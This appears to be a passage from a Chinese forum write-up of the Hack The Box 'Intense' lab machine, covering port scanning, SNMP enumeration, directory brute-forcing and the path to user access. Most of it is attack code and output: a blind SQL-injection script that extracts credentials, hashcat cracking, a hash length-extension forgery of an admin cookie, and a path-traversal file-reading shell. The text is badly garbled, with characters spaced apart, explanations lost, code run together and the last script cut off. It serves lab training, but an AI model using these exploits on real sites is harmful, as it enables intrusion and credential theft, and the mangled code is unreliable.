[27136] 2021-01-08_intense靶场-获取User权限

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2021-01-08_intense靶场-获取User权限 i n t e n s e - U s e r     M s 0 8 0 6 7   2 0 2 1 - 0 1 - 0 8   #   , 2 8 j o k e l o v e M s 0 8 0 6 7 I n t e n s e H T B 1 .   P y t h o n   2 .   S Q L   3 .   S N M P   4 .   R O P I n t e n s e I P 1 0 . 1 0 . 1 0 . 1 9 5 :   h t t p s : / / 0 x d f . g i t l a b . i o / 2 0 2 0 / 1 1 / 1 4 / h t b - i n t e n s e . h t m l   :   h t t p s : / / w w w . r o m a n h . d e / w r i t e u p / h t b - i n t e n s e 0 x 0 1   1 .   T C P 2 .   r o o t @ k a l i #   n m a p   - p -   - - m i n - r a t e   1 0 0 0 0   - o A   s c a n s / n m a p - a l l t c p   1 0 . 1 0 . 1 0 . 1 9 5 S t a r t i n g   N m a p   7 . 8 0   (   h t t p s : / / n m a p . o r g   )   a t   2 0 2 0 - 0 7 - 0 5   1 4 : 5 8   E D T N m a p   s c a n   r e p o r t   f o r   1 0 . 1 0 . 1 0 . 1 9 5 H o s t   i s   u p   ( 0 . 3 6 s   l a t e n c y ) . N o t   s h o w n :   6 5 5 3 3   f i l t e r e d   p o r t s P O R T   S T A T E   S E R V I C E 2 2 / t c p   o p e n   s s h 8 0 / t c p   o p e n   h t t p r o o t @ k a l i #   n m a p   - p   2 2 , 8 0   - s C   - s V   - o A   s c a n s / n m a p - t c p s c r i p t s   1 0 . 1 0 . 1 0 . 1 9 5 S t a r t i n g   N m a p   7 . 8 0   (   h t t p s : / / n m a p . o r g   )   a t   2 0 2 0 - 0 7 - 0 5   1 4 : 5 9   E D T N m a p   s c a n   r e p o r t   f o r   1 0 . 1 0 . 1 0 . 1 9 5
3 .   U D P 4 .   使 S N M P I P   1 0 . 1 0 . 1 0 . 1 9 5 8 0 / h t t p   2 1 / s s h   1 6 1 / s n m p U b u n t u   B i o n i c   1 8 . 0 4 W E B N g i n x / 1 . 1 4 . 0 S S H O p e n S S H   7 . 6 p 1 V u l m o n H o s t   i s   u p   ( 0 . 0 9 5 s   l a t e n c y ) . P O R T   S T A T E   S E R V I C E   V E R S I O N 2 2 / t c p   o p e n   s s h   O p e n S S H   7 . 6 p 1   U b u n t u   4 u b u n t u 0 . 3   ( U b u n t u   L i n u x ;   p r o t o c o l   2 . 0 ) |   s s h - h o s t k e y : |   2 0 4 8   b 4 : 7 b : b d : c 0 : 9 6 : 9 a : c 3 : d 0 : 7 7 : 8 0 : c 8 : 8 7 : c 6 : 2 e : a 2 : 2 f   ( R S A ) |   2 5 6   4 4 : c b : f e : 2 0 : b b : 8 d : 3 4 : f 2 : 6 1 : 2 8 : 9 b : e 8 : c 7 : e 9 : 7 b : 5 e   ( E C D S A ) | _   2 5 6   2 8 : 2 3 : 8 c : e 2 : d a : 5 4 : e d : c b : 8 2 : 3 4 : a 1 : e 3 : b 2 : 2 d : 0 4 : e d   ( E D 2 5 5 1 9 ) 8 0 / t c p   o p e n   h t t p   n g i n x   1 . 1 4 . 0   ( U b u n t u ) | _ h t t p - s e r v e r - h e a d e r :   n g i n x / 1 . 1 4 . 0   ( U b u n t u ) | _ h t t p - t i t l e :   I n t e n s e   -   W e b A p p S e r v i c e   I n f o :   O S :   L i n u x ;   C P E :   c p e : / o : l i n u x : l i n u x _ k e r n e l S e r v i c e   d e t e c t i o n   p e r f o r m e d .   P l e a s e   r e p o r t   a n y   i n c o r r e c t   r e s u l t s   a t h t t p s : / / n m a p . o r g / s u b m i t /   . N m a p   d o n e :   1   I P   a d d r e s s   ( 1   h o s t   u p )   s c a n n e d   i n   1 1 . 8 4   s e c o n d s r o o t @ k a l i #   n m a p   - s U   - p -   - - m i n - r a t e   1 0 0 0 0   - o A   s c a n s / n m a p - a l l u d p   1 0 . 1 0 . 1 0 . 1 9 5 S t a r t i n g   N m a p   7 . 8 0   (   h t t p s : / / n m a p . o r g   )   a t   2 0 2 0 - 0 7 - 0 8   1 5 : 3 3   E D T N m a p   s c a n   r e p o r t   f o r   1 0 . 1 0 . 1 0 . 1 9 5 H o s t   i s   u p   ( 0 . 0 1 3 s   l a t e n c y ) . N o t   s h o w n :   6 5 5 3 4   o p e n | f i l t e r e d   p o r t s P O R T   S T A T E   S E R V I C E 1 6 1 / u d p   o p e n   s n m p N m a p   d o n e :   1   I P   a d d r e s s   ( 1   h o s t   u p )   s c a n n e d   i n   1 3 . 4 7   s e c o n d s S N M P 使 s n m p w a l k r o o t @ k a l i #   s n m p w a l k   - v   2 c   - c   p u b l i c   1 0 . 1 0 . 1 0 . 1 9 5 S N M P v 2 - M I B : : s y s D e s c r . 0   =   S T R I N G :   L i n u x   i n t e n s e   4 . 1 5 . 0 - 5 5 - g e n e r i c   # 6 0 - U b u n t u   S M P T u e   J u l   2   1 8 : 2 2 : 2 0   U T C   2 0 1 9   x 8 6 _ 6 4 S N M P v 2 - M I B : : s y s O b j e c t I D . 0   =   O I D :   N E T - S N M P - M I B : : n e t S n m p A g e n t O I D s . 1 0 D I S M A N - E V E N T - M I B : : s y s U p T i m e I n s t a n c e   =   T i m e t i c k s :   ( 1 8 4 0 7 )   0 : 0 3 : 0 4 . 0 7 S N M P v 2 - M I B : : s y s C o n t a c t . 0   =   S T R I N G :   M e S N M P v 2 - M I B : : s y s N a m e . 0   =   S T R I N G :   i n t e n s e #     . . H O S T - R E S O U R C E S - M I B : : h r S y s t e m M a x P r o c e s s e s . 0   =   N o   m o r e   v a r i a b l e s   l e f t   i n   t h i s   M I B V i e w   ( I t   i s   p a s t   t h e   e n d   o f   t h e   M I B   t r e e ) s n m p w a l k V u l m o n  
U b u n t u   B i o n i c   1 8 . 0 4 C V E - 2 0 1 8 - 1 3 4 0 5 h t t p s : / / v u l m o n . c o m / v u l n e r a b i l i t y d e t a i l s ? q i d = C V E - 2 N g i n x / 1 . 1 4 . 0 C V E - 2 0 2 0 - 5 5 0 5 h t t p s : / / v u l m o n . c o m / v u l n e r a b i l i t y d e t a i l s ? q i d = C V E - 2 0 2 0 - 5 5 0 5 & s c o r e t y p e = c v s s v 2 O p e n S S H   7 . 6 p 1 C V E - 2 0 1 8 - 1 5 4 7 3   C V E - 2 0 1 7 - 1 5 9 0 6 h t t p s : / / v u l m o n . c o m / s e a r c h p a g e ? q = o p e n s s h + 7 . 6 & s o r t b y = b y r e l e v a n c e & p a g e = 1 C V E W E B S S H 0 x 0 2     -   8 0 1 .   W E B / :   g u e s t / g u e s t   :   / l o g i n   :   / s r c . z i p 2 .   / s u b m i t r o o t @ k a l i #   g o b u s t e r   d i r   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5   - w
1 .     2 .   s u b m i t 3 .     / a d m i n 0 x 0 3   1 .   r o o t @ k a l i #   g o b u s t e r   d i r   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5   - w / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t   - t   4 0   - o s c a n s g o b u s t e r - r o o t - m e d i u m = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = G o b u s t e r   v 3 . 0 . 1 b y   O J   R e e v e s   ( @ T h e C o l o n i a l )   &   C h r i s t i a n   M e h l m a u e r   ( @ _ F i r e F a r t _ ) = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = [ + ]   U r l :   h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 [ + ]   T h r e a d s :   4 0 [ + ]   W o r d l i s t :   / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t [ + ]   S t a t u s   c o d e s :   2 0 0 , 2 0 4 , 3 0 1 , 3 0 2 , 3 0 7 , 4 0 1 , 4 0 3 [ + ]   U s e r   A g e n t :   g o b u s t e r / 3 . 0 . 1 [ + ]   T i m e o u t :   1 0 s = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 0 / 0 7 / 0 5   1 5 : 1 0 : 1 6   S t a r t i n g   g o b u s t e r = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = / h o m e   ( S t a t u s :   2 0 0 ) / l o g i n   ( S t a t u s :   2 0 0 ) / s u b m i t   ( S t a t u s :   2 0 0 ) / a d m i n   ( S t a t u s :   4 0 3 ) / l o g o u t   ( S t a t u s :   2 0 0 ) = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 0 / 0 7 / 0 5   1 5 : 1 9 : 1 6   F i n i s h e d = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =   / p o s t l o g i n   @ a p p . r o u t e ( " / p o s t l o g i n " ,   m e t h o d s = [ " P O S T " ] ) d e f   p o s t l o g i n ( ) : #   d a t a   =   t r y _ l o g i n ( r e q u e s t . f o r m ) i f   d a t a :
  t r y _ l o g i n   h a s h h a s h   C o o k i e 0 x 0 4   a d m i n 1 .   i f   d a t a : r e s p   =   m a k e _ r e s p o n s e ( " O K " ) #   s e s s i o n s e s s i o n   =   l w t . c r e a t e _ s e s s i o n ( d a t a ) c o o k i e   =   l w t . c r e a t e _ c o o k i e ( s e s s i o n ) r e s p . s e t _ c o o k i e ( " a u t h " ,   c o o k i e ) r e t u r n   r e s p r e t u r n   " L o g i n   f a i l e d " d e f   t r y _ l o g i n ( f o r m ) : " " "   T r y   t o   l o g i n   w i t h   t h e   s u b m i t t e d   u s e r   i n f o   " " " i f   n o t   f o r m : r e t u r n   N o n e u s e r n a m e   =   f o r m [ " u s e r n a m e " ] #   p a s s w o r d h a s h _ p a s s w o r d p a s s w o r d   =   h a s h _ p a s s w o r d ( f o r m [ " p a s s w o r d " ] ) r e s u l t   =   q u e r y _ d b ( " s e l e c t   c o u n t ( * )   f r o m   u s e r s   w h e r e   u s e r n a m e   =   ?   a n d   s e c r e t   = ? " ,   ( u s e r n a m e ,   p a s s w o r d ) ,   o n e = T r u e ) i f   r e s u l t   a n d   r e s u l t [ 0 ] : r e t u r n   { " u s e r n a m e " :   u s e r n a m e ,   " s e c r e t " : p a s s w o r d } r e t u r n   N o n e 使 S Q L M a p D u m p 使 # ! / u s r / b i n / e n v   p y t h o n 3 i m p o r t   r e q u e s t s i m p o r t   s t r i n g i m p o r t   s y s d e f   b r u t e _ u s e r ( r e s ) : f o r   c   i n   s t r i n g . a s c i i _ l o w e r c a s e   +   s t r i n g . d i g i t s : s y s . s t d o u t . w r i t e ( f " r [ * ]   T r y i n g   u s e r n a m e :   { r e s } { c . l j u s t ( 2 0 ) } " ) s y s . s t d o u t . f l u s h ( ) r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 / s u b m i t m e s s a g e " , d a t a = f " m e s s a g e = ' | | ( s e l e c t   u s e r n a m e   f r o m   u s e r s   w h e r e   u s e r n a m e   L I K E ' { r e s   +   c } % '   a n d   l o a d _ e x t e n s i o n ( ' a ' ) ) | | ' " , h e a d e r s = { " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " } , ) i f   " n o t   a u t h o r i z e d "   i n   r e s p . t e x t : r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 / s u b m i t m e s s a g e " , d a t a = f " m e s s a g e = ' | | ( s e l e c t   u s e r n a m e   f r o m   u s e r s   w h e r e   u s e r n a m e   = ' { r e s   +   c } '   a n d   l o a d _ e x t e n s i o n ( ' a ' ) ) | | ' " , h e a d e r s = { " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " } , )
  h a s h   a d m i n 2 .   S e s s i o n c r e a t e _ s e s s i o n   c r e a t e _ c o o k i e ) i f   " n o t   a u t h o r i z e d "   i n   r e s p . t e x t : p r i n t ( f " r [ + ]   F o u n d   u s e r :   { r e s } { c . l j u s t ( 2 0 ) } " ) b r u t e _ p a s s ( r e s   +   c ) b r u t e _ u s e r ( r e s   +   c ) d e f   b r u t e _ p a s s ( u s e r ) : p a s s w o r d   =   " " f o r   i   i n   r a n g e ( 6 4 ) : f o r   c   i n   s t r i n g . h e x d i g i t s : s y s . s t d o u t . w r i t e ( f " r [ + ]   P a s s w o r d :   { p a s s w o r d } { c } " ) s y s . s t d o u t . f l u s h ( ) r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 / s u b m i t m e s s a g e " , d a t a = f " m e s s a g e = ' | | ( s e l e c t   s e c r e t   f r o m   u s e r s   w h e r e   u s e r n a m e   = ' { u s e r } '   a n d   s u b s t r ( s e c r e t ,   { i + 1 } , 1 )   =   ' { c } '   a n d   l o a d _ e x t e n s i o n ( ' a ' ) ) | | ' " , h e a d e r s = { " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " } , ) i f   " n o t   a u t h o r i z e d "   i n   r e s p . t e x t : p a s s w o r d   + =   c b r e a k p r i n t ( f " r [ + ]   F o u n d   s e c r e t :   { p a s s w o r d . l j u s t ( 2 0 ) } " ) b r u t e _ u s e r ( " " ) p r i n t ( " r "   +   " " . l j u s t ( 8 0 ) ) a d m i n : f 1 f c 1 2 0 1 0 c 0 9 4 0 1 6 d e f 7 9 1 e 1 4 3 5 d d f d c a e c c f 8 2 5 0 e 3 6 6 3 0 c 0 b c 9 3 2 8 5 c 2 9 7 1 1 0 5 g u e s t : 8 4 9 8 3 c 6 0 f 7 d a a d c 1 c b 8 6 9 8 6 2 1 f 8 0 2 c 0 d 9 f 9 a 3 c 3 c 2 9 5 c 8 1 0 7 4 8 f b 0 4 8 1 1 5 c 1 8 6 e c h a s h c a t   - m   1 4 0 0   . / h a s h e s   / c o n t e n t / w o r d l i s t s / r o c k y o u . t x t   - - u s e r d e f   c r e a t e _ s e s s i o n ( d a t a ) : " " "   C r e a t e   s e s s i o n   b a s e d   o n   d i c t @ d a t a :   { " k e y 1 " : " v a l u e 1 " , " k e y 2 " : " v a l u e 2 " } r e t u r n   " k e y 1 = v a l u e 1 ; k e y 2 = v a l u e 2 ; " " " " s e s s i o n   =   " " f o r   k ,   v   i n   d a t a . i t e m s ( ) : s e s s i o n   + =   f " { k } = { v } ; " r e t u r n   s e s s i o n . e n c o d e ( )
C o o k i e " k e y = v a l u e ; k e y 2 = v a l u e 2 " b a s e 6 4 s e c r e t 3 .   s e c r e t s i g n S E C R E T   8 - 1 5 d e f   c r e a t e _ c o o k i e ( s e s s i o n ) : #   s e s s i o n c o o k i e _ s i g   =   s i g n ( s e s s i o n ) r e t u r n   b 6 4 e n c o d e ( s e s s i o n )   +   b ' . '   +   b 6 4 e n c o d e ( c o o k i e _ s i g ) g u e s t s e s s i o n r o o t @ k a l i #   e c h o " d X N l c m 5 h b W U 9 Z 3 V l c 3 Q 7 c 2 V j c m V 0 P T g 0 O T g z Y z Y w Z j d k Y W F k Y z F j Y j g 2 O T g 2 M j F m O D A y Y z B k O W Y 5 Y T N j M 2 M y O T V j O D E w N z Q 4 Z m I w N D g x M T V j M T g 2 Z W M 7 . Q F y V i A r M N X 8 P R B d R 1 T Z 7 + 0 z P O s O A U 5 l o e u T z G S K X i g 8 = "   |   c u t   - d .   - f 1   |   b a s e 6 4   - d u s e r n a m e = g u e s t ; s e c r e t = 8 4 9 8 3 c 6 0 f 7 d a a d c 1 c b 8 6 9 8 6 2 1 f 8 0 2 c 0 d 9 f 9 a 3 c 3 c 2 9 5 c 8 1 0 7 4 8 f b 0 4 8 1 1 5 c 1 8 6 e c ; s e c r e t s i g n s e c r e t d e f   s i g n ( m s g ) : " " "   S i g n   m e s s a g e   w i t h   s e c r e t   k e y   " " " r e t u r n   s h a 2 5 6 ( S E C R E T   +   m s g ) . d i g e s t ( ) S E C R E T   =   o s . u r a n d o m ( r a n d r a n g e ( 8 ,   1 5 ) ) d e f   t r y _ s i g n a t u r e ( c o o k i e ) : r e s   =   r e q u e s t s . g e t ( " % s / a d m i n "   %   U R L ,   c o o k i e s = { " a u t h " :   c o o k i e } ) r e t u r n   r e s . s t a t u s _ c o d e   = =   2 0 0 a p p e n d   =   ' ; u s e r n a m e = a d m i n ; s e c r e t = % s ; '   %   a d m i n _ s e c r e t a u t h _ c o o k i e   =   s e s s i o n . c o o k i e s [ " a u t h " ] b 6 4 _ d a t a ,   b 6 4 _ s i g   =   a u t h _ c o o k i e . s p l i t ( " . " ) d a t a   =   b a s e 6 4 . b 6 4 d e c o d e ( b 6 4 _ d a t a ) s i g   =   b a s e 6 4 . b 6 4 d e c o d e ( b 6 4 _ s i g ) f o r   k e y _ l e n   i n   r a n g e ( 8 ,   1 6 ) : ( n e w _ s i g ,   n e w _ d a t a )   =   h a s h p u m p y . h a s h p u m p ( s i g . h e x ( ) ,   d a t a ,   a p p e n d ,   k e y _ l e n ) n e w _ s i g   =   b a s e 6 4 . b 6 4 e n c o d e ( b i n a s c i i . u n h e x l i f y ( n e w _ s i g ) ) . d e c o d e ( " U T F - 8 " ) n e w _ d a t a   =   b a s e 6 4 . b 6 4 e n c o d e ( n e w _ d a t a ) . d e c o d e ( " U T F - 8 " ) c o o k i e   =   " % s . % s "   %   ( n e w _ d a t a ,   n e w _ s i g ) i f   t r y _ s i g n a t u r e ( c o o k i e ) : p r i n t ( " F o u n d   k e y l e n g t h = % d   c o o k i e = % s "   %   ( k e y _ l e n ,   c o o k i e ) ) 7 5 7 3 6 5 7 2 6 e 6 1 6 d 6 5 3 d 6 7 7 5 6 5 7 3 7 4 3 b 7 3 6 5 6 3 7 2 6 5 7 4 3 d 3 8 3 4 3 9 3 8 3 3 6 3 3 6 3 0 6 6 3 7 6 4 6 1 6 1 6 4 6 3 3 1 6 3 6 2 3 8 3 6 3 9 3 8 3 6 3 2 3 1 6 6 3 8 3 0 3 2 6 3 3 0 6 4 3 9 6 6 3 9 6 1 3 3 6 3 3 3 6 3 3 2 3 9 3 5 6 3 3 8 3 1 3 0 3 7 3 4 3 8 6 6 6 2 3 0 3 4 3 8 3 1 3 1 3 5 6 3 3 1 3 8 3 6 6 5 6 3 3 b 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 3 0 3 b 7 5 7 3 6 5 7 2 6 e 6 1 6 d 6 5 3 d 6 1 6 4 6 d 6 9 6 e 3 b 7 3 6 5 6 3 7 2 6 5 7 4 3 d 6 6 3 1 6 6 6 3 3 1 3 2 3 0 3 1 3 0 6 3 3 0 3 9 3 4 3 0 3 1 3 6 6 4 6 5 6 6 3 7 3 9 3 1 6 5 3 1 3 4 3 3 3 5 6 4 6 4 6 6 6 4 6 3 6 1 6 5 6 3 6 3 6 6 3 8 3 2 3 5 3 0 6 5 3 3 3 6 3 6 3 3 3 0 6 3 3 0 6 2 6 3 3 9 3 3 3 2 3 8 3 5 6 3 3 2 3 9 3 7 3 1 3 1 3 0 3 5 3 b
C o o k i e 0 x 0 5   a d m i n   l o g   @ a d m i n . r o u t e ( " / a d m i n " ) d e f   a d m i n _ h o m e ( ) : i f   n o t   i s _ a d m i n ( r e q u e s t ) : a b o r t ( 4 0 3 ) r e t u r n   r e n d e r _ t e m p l a t e ( " a d m i n . h t m l " ) @ a d m i n . r o u t e ( " / a d m i n / l o g / v i e w " ,   m e t h o d s = [ " P O S T " ] ) d e f   v i e w _ l o g ( ) : i f   n o t   i s _ a d m i n ( r e q u e s t ) : a b o r t ( 4 0 3 ) l o g f i l e   =   r e q u e s t . f o r m . g e t ( " l o g f i l e " ) i f   l o g f i l e : l o g c o n t e n t   =   a d m i n _ v i e w _ l o g ( l o g f i l e ) r e t u r n   l o g c o n t e n t r e t u r n   ' ' @ a d m i n . r o u t e ( " / a d m i n / l o g / d i r " ,   m e t h o d s = [ " P O S T " ] ) d e f   l i s t _ l o g ( ) : i f   n o t   i s _ a d m i n ( r e q u e s t ) : a b o r t ( 4 0 3 ) l o g d i r   =   r e q u e s t . f o r m . g e t ( " l o g d i r " ) i f   l o g d i r : l o g d i r   =   a d m i n _ l i s t _ l o g ( l o g d i r ) r e t u r n   s t r ( l o g d i r ) r e t u r n   ' ' # # # #   L o g s   f u n c t i o n s   # # # # d e f   a d m i n _ v i e w _ l o g ( f i l e n a m e ) : i f   n o t   p a t h . e x i s t s ( f " l o g s / { f i l e n a m e } " ) :
/ a d m i n / l o g / d i r g o d i r = . :   / a d m i n / l o g / v i e w   :   l o g f i l e = . . / a p p . i n i i f   n o t   p a t h . e x i s t s ( f " l o g s / { f i l e n a m e } " ) : r e t u r n   f " C a n ' t   f i n d   { f i l e n a m e } " w i t h   o p e n ( f " l o g s / { f i l e n a m e } " )   a s   o u t : r e t u r n   o u t . r e a d ( ) d e f   a d m i n _ l i s t _ l o g ( l o g d i r ) : i f   n o t   p a t h . e x i s t s ( f " l o g s / { l o g d i r } " ) : r e t u r n   f " C a n ' t   f i n d   { l o g d i r } " r e t u r n   l i s t d i r ( l o g d i r ) # ! / u s r / b i n / e n v   p y t h o n 3 i m p o r t   b a s e 6 4 i m p o r t   b i n a s c i i i m p o r t   r e q u e s t s i m p o r t   s u b p r o c e s s f r o m   c m d   i m p o r t   C m d c l a s s   T e r m ( C m d ) : p r o m p t   =   " i n t e n s e >   " d e f   _ _ i n i t _ _ ( s e l f ) :
C m d . _ _ i n i t _ _ ( s e l f ) #   G e t   C o o k i e r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 / p o s t l o g i n " , d a t a = { " u s e r n a m e " :   " g u e s t " ,   " p a s s w o r d " :   " g u e s t " } , h e a d e r s = { " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F 8 " } , ) o r i g _ c o o k i e   =   r e s p . h e a d e r s [ " S e t - C o o k i e " ] . s p l i t ( " = " ,   1 ) [ 1 ] c o o k i e _ d a t a _ b 6 4 ,   c o o k i e _ s i g _ b 6 4   =   o r i g _ c o o k i e . s p l i t ( " . " ) c o o k i e _ d a t a   =   b a s e 6 4 . b 6 4 d e c o d e ( c o o k i e _ d a t a _ b 6 4 ) . d e c o d e ( ) c o o k i e _ s i g _ h e x   = b i n a s c i i . h e x l i f y ( b a s e 6 4 . b 6 4 d e c o d e ( c o o k i e _ s i g _ b 6 4 ) ) . d e c o d e ( ) p r i n t ( " [ + ]   G u e s t   C o o k i e   a c q u i r e d " ) #   R u n   h a s h   e x t e n d e r c m d   =   " / o p t / h a s h _ e x t e n d e r / h a s h _ e x t e n d e r   - - s e c r e t - m i n   8   - - s e c r e t - m a x   1 5   " c m d   + =   " - - d a t a u s e r n a m e = g u e s t ; s e c r e t = 8 4 9 8 3 c 6 0 f 7 d a a d c 1 c b 8 6 9 8 6 2 1 f 8 0 2 c 0 d 9 f 9 a 3 c 3 c 2 9 5 c 8 1 0 7 4 8 f b 0 4 8 1 1 5 c 1 8 6 e c ;   " c m d   + =   f " - - s i g n a t u r e   { c o o k i e _ s i g _ h e x }   - f   s h a 2 5 6   - - t a b l e   " c m d   + =   " - - a p p e n d ; u s e r n a m e = a d m i n ; s e c r e t = f 1 f c 1 2 0 1 0 c 0 9 4 0 1 6 d e f 7 9 1 e 1 4 3 5 d d f d c a e c c f 8 2 5 0 e 3 6 6 3 0 c 0 b c 9 3 2 8 5 c 2 9 7 1 1 0 5 ; " h a s h _ e x t e n d e r   =   ( s u b p r o c e s s . c h e c k _ o u t p u t ( c m d . s p l i t ( "   " ) ) . s t r i p ( ) . d e c o d e ( ) . s p l i t ( " n " ) ) p r i n t ( " [ * ]   G e n e r a t e d   h a s h   e x t e n s i o n s   f o r   8   t o   1 5   b y t e   s e c r e t s " ) f o r   t e s t _ h a s h   i n   h a s h _ e x t e n d e r : n e w _ c o o k i e _ d a t a   =   b a s e 6 4 . b 6 4 e n c o d e ( b i n a s c i i . u n h e x l i f y ( t e s t _ h a s h . s p l i t ( "   " ) [ - 1 ] ) ) . d e c o d e ( ) n e w _ c o o k i e _ s i g   =   b a s e 6 4 . b 6 4 e n c o d e ( b i n a s c i i . u n h e x l i f y ( t e s t _ h a s h . s p l i t ( "   " ) [ - 2 ] ) ) . d e c o d e ( ) n e w _ c o o k i e   =   f " { n e w _ c o o k i e _ d a t a } . { n e w _ c o o k i e _ s i g } " r e s p   =   r e q u e s t s . g e t ( " h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 / h o m e " ,   c o o k i e s = d i c t ( a u t h = n e w _ c o o k i e ) , ) i f   n o t   " Y o u   c a n   l o g i n   w i t h   t h e   u s e r n a m e   a n d   p a s s w o r d "   i n   r e s p . t e x t : p r i n t ( f " [ + ]   I d e n t i f i e d   w o r k i n g   c o o k i e   f r o m   g e n e r a t e d   o p t i o n s ! " ) s e l f . c o o k i e   =   n e w _ c o o k i e b r e a k d e f   d o _ l s ( s e l f ,   a r g s ) : " U s a g e :   l s   [ p a t h   r e l a t i v e   t o   / ] " r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 0 . 1 0 . 1 0 . 1 9 5 / a d m i n / l o g / d i r " , d a t a = { " l o g d i r " :   f " . . / . . / . . / . . / . . / { a r g s } " } , c o o k i e s = { " a u t h " :   s e l f . c o o k i e } , )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则